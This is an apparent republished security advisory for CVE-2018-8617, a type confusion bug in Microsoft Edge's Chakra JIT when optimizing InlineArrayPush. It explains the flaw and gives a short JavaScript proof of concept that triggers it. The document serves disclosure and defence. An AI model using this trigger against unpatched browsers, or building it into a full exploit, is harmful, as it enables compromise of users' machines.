Microsoft Edge Chakra InlineArrayPush Type Confusion

Microsoft Edge suffers from a Chakra related type confusion vulnerability in InlineArrayPush.


MD5 | 43954049af42d6f9760693a7a6a692de

Microsoft Edge: Chakra: Type confusion with InlineArrayPush 

CVE-2018-8617


In Chakra, if you add a numeric property to an object having inlined properties, it will start transition to a new type where the space for some of previously inlined properties become for the pointer to the property slots and the pointer to the object array which stores numeric properties. For this reason, when it optimizes an InlineArrayPush instruction which might start transition, it needs to kill corresponding type symbols to prevent type confusion. But it doesn't, so it can lead to type confusion.

PoC:
function opt(a, b) {
a.b = 2;
b.push(0);
a.a = 0x1234;
}

function main() {
Object.prototype.push = Array.prototype.push;

for (let i = 0; i < 1000; i++) {
let a = {a: 1, b: 2};
opt(a, {});
}

let o = {a: 1, b: 2};
opt(o, o);

print(o.a);
}

main();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: lokihardt


Related Posts